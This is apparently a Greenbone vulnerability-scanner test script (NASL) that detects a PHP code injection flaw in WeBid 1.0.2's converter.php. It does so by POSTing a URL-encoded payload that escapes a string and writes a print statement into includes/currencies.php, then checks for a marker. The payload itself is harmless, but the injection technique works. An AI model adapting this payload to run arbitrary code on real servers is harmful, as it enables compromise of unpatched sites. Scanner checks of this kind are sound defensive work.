WeBid 'converter.php' Multiple Remote PHP Code Injection Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:webidsupport:webid";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103186");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-07-06 13:49:20 +0200 (Wed, 06 Jul 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("WeBid 'converter.php' Multiple Remote PHP Code Injection Vulnerabilities");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/48554");
  script_xref(name:"URL", value:"http://www.webidsupport.com/forums/showthread.php?3892");
  script_xref(name:"URL", value:"http://www.webidsupport.com");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_webid_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("webid/installed");

  script_tag(name:"summary", value:"WeBid is prone to multiple vulnerabilities that attackers can leverage
  to execute arbitrary PHP code because the application fails to
  adequately sanitize user-supplied input.");

  script_tag(name:"impact", value:"Successful attacks can compromise the affected application and
  possibly the underlying system.");

  script_tag(name:"affected", value:"WeBid 1.0.2 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"solution_type", value:"VendorFix");
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

url = string(dir,"/converter.php");

host = http_host_name(port:port);

postdata = string("action=convert&from=USD&to=%00%27%29%29%3Bprint%28%27vt-c-i-test%27%2F%2F");

 req = string(
            "POST ", url, " HTTP/1.1\r\n",
            "Host: ", host, "\r\n",
            "Content-Type: application/x-www-form-urlencoded\r\n",
            "Content-Length: ", strlen(postdata), "\r\n",
            "\r\n",
            postdata
    );

res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

url = string(dir, "/includes/currencies.php");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if("vt-c-i-test" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);